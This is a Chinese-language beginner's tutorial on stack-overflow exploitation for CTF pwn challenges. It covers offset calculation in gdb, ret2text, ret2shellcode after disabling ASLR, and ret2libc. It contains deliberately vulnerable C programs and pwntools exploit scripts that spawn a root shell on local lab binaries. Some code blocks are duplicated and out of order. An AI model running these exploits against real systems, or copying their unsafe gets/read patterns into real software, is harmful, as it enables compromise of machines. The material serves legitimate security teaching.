PWN-栈溢出入门

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2021年12月3日11:48:47评论107 views字数 7469阅读24分53秒阅读模式

Leishi

Security

Lab

PWN-栈溢出入门

溢出padding计算

方法1：esp/ebp距离计算

1. 溢出函数处下断点

b main

2. 记录esp、ebp

EBP: 0xbffff508 --> 0x0

ESP: 0xbffff480 --> 0x0

3. 找到溢出函数参数位置

0x804858c <main+95>: lea eax,[esp+0x1c]

4. padding = (ebp - (esp+1c)) + 4 = (0xbffff508 - 0xbffff480 - 0x1c ) +4 = 112

方法2：pattern_create

通常情况下ebp + 4/rbp + 8更准确

pattern_offset $ebp

pattern_offset $eip

pattern_offset $rbp

pattern_offset $rip

方法3：cyclic

┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic 200                                                                                                                                                                                                                     148 ⨯ 1 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb ret2shellcode                                                                                                                                                                                                                    1 ⚙
gdb-peda$ run
Starting program: /home/kali/Desktop/CTF/ret2shellcode 
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x9 ('t')
EDX: 0xffffffff 
ESI: 0xb7fb0000 --> 0x1e4d6c 
EDI: 0xb7fb0000 --> 0x1e4d6c 
EBP: 0x62616163 ('caab')
ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x62616164 ('daab')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x62616164

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616164 in ?? ()
gdb-peda$ 
zsh: suspended  gdb ret2shellcode
                                                                                                                                                                                                                                             
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic -l "0x62616164"                                                                                                                                                                                                         148 ⨯ 2 ⚙
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
112

栈溢出利用

ret2text

ret2text 即控制程序执行程序本身已有的的代码(.text)

示例

// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

#include <stdio.h>

#include <string.h>



void success() {

    puts("SUCCESS!!!");

    system("cat flag");

}



void vulnerable() {

  char s[12];

  gets(s);

  puts(s);

  return;

}



int main(int argc, char **argv) {

  vulnerable();

  return 0;

}

.text段存在flag关键信息函数

计算溢出长度

xxxxx

python代码

from pwn import *

sh = process("./ret2text")

win = 0x8049182

sh.sendline(b'A'*24 + p32(win))

sh.interactive()

ret2shellcode

图1

图2

问题：如何确定shellcode起始地址

关闭ASLR

ASLR(系统开启的)

ASLR是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。

在linux中使用此技术后，杀死某程序后重新开启，地址换。

在windows中使用此技术后，杀死进程后重新开启，地址不换，重启才会改变。

以上cat命令输出的值表示：

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址，stack和vdso页面随机化。

2 - 表示在1的基础上增加栈（heap）的随机化。

echo 0 > /proc/sys/kernel/randomize_va_space

echo 1 > /proc/sys/kernel/core_uses_pid

示例

#include <unistd.h>

void vuln_func()

{

char buf[128];

read(STDIN_FILENO,buf,256);

}

int main(void)

{

vuln_func();

write(STDOUT_FILENO,"hello world!n",13);

}

1. 执行溢出确定溢出地址和core文件

为什么是$esp-140-4 因为此时的esp指向函数返回地址

函数是执行ret之后才报错的，所以此时代码已经执行完成ret，也就是说esp指向（返回地址 + 4）


└─# gdb stack3 core.2936 -q                                                                                                                                                                                                             1 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2936]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp-140-4

0xbffff4c0:     0x2f68686a      0x68732f2f      0x6e69622f      0x0168e389

gdb-peda$

zsh: suspended  gdb stack3 core.2936 -q



#!/usr/bin/env python

from pwn import *



sh = process('./stack3')



# 方法1

shellcode = asm(shellcraft.sh())

buf2_addr = 0xbffff4c0

print(shellcode)

pause()

sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

sh.interactive()┌──(root�kali)-[/home/kali/Desktop/CTF]

└─# gdb stack3 core.2936 -q                                                                                                                                                                                                             1 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2936]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp-140-4

0xbffff4c0:     0x2f68686a      0x68732f2f      0x6e69622f      0x0168e389

gdb-peda$

zsh: suspended  gdb stack3 core.2936 -q



#!/usr/bin/env python

from pwn import *



sh = process('./stack3')



# 方法1

shellcode = asm(shellcraft.sh())

buf2_addr = 0xbffff4c0

print(shellcode)

pause()

sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )

sh.interactive()
// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text

#include <stdio.h>

#include <string.h>



void success() {

    puts("SUCCESS!!!");

    system("cat flag");

}



void vulnerable() {

  char s[12];

  gets(s);

  puts(s);

  return;

}



int main(int argc, char **argv) {

  vulnerable();

  return 0;

}

方法2：


└─# gdb stack3 core.2961 -q                                                                                                                                                                                                             6 ⚙

Reading symbols from stack3...

(No debugging symbols found in stack3)

[New LWP 2961]

Core was generated by `./stack3'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0  0xbf91afc0 in ?? ()

gdb-peda$ x/4wx $esp

0xbffff550:     0xbffff50a      0x00000000      0x00000000      0xb7de9e46

gdb-peda$







#!/usr/bin/env python

from pwn import *



sh = process('./stack3')

# 方法2

buf2_addr = 0xbffff550 # 就是esp的值

print(shellcode)

pause()

sh.sendline(b'b'*140+ p32(buf2_addr)  + shellcode)

sh.interactive()





┌──(root�kali)-[/home/kali/Desktop/CTF]

└─# python3 stack3.py                                                                                                                                                                                                                   3 ⚙

[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.

[+] Starting local process './stack3': pid 3037

b'jhh///sh/binx89xe3hx01x01x01x01x814$rix01x011xc9Qjx04Yx01xe1Qx89xe11xd2jx0bXxcdx80'

[*] Switching to interactive mode

$ id

uid=0(root) gid=0(root) groups=0(root),143(kaboxer)

$

[*] Interrupted

[*] Stopped process './stack3' (pid 3037)

ret2libc

例1

IDA分析

sh_addr = 0x08048720

system_addr = 0x08048460

padding = 112

exp

from pwn import *

sh = process("./ret2libc1")

binsh = 0x08048720

system_plt = 0x08048460

whatever_addr = 0x11111111

payload = b"a" * 112

payload += p32(system_plt)

payload += p32(whatever_addr)# 这里就是调用system的返回地址，没有实际意义

payload += p32(binsh)

sh.sendline(payload)

sh.interactive()

例2

checksec

xxxxx

计算padding = 112

.bss buf2 = 0x0804A080

gets = 08048460

system = 08048490

栈情况分析

exp

from pwn import *

sh = process("./ret2libc2")

get_addr = 0x08048460

buf_addr = 0x0804A080

system_addr = 0x08048490

payload = b"Q" * 112

payload += p32(get_addr)

payload += p32(system_addr)

payload += p32(buf_addr)

sh.sendline(payload)

sh.sendline("/bin/sh")

sh.interactive()

exp2

from pwn import *

sh = process("./ret2libc2")

elf = ELF("./ret2libc2")

get_addr = elf.plt['gets']

system_addr = elf.plt['system']

buf_addr = elf.symbols['buf2']

payload = b"Q" * 112

payload += p32(get_addr)

payload += p32(system_addr)

payload += p32(buf_addr)

sh.sendline(payload)

sh.sendline("/bin/sh")

sh.interactive()

例3

函数基址 base = A函数got - A函数libc = B函数got - B函数libc

xctf level3

libc_write = 0x000D43C0

libc_system = 0x0003A940

libc_bin = 0x0015902B

2021

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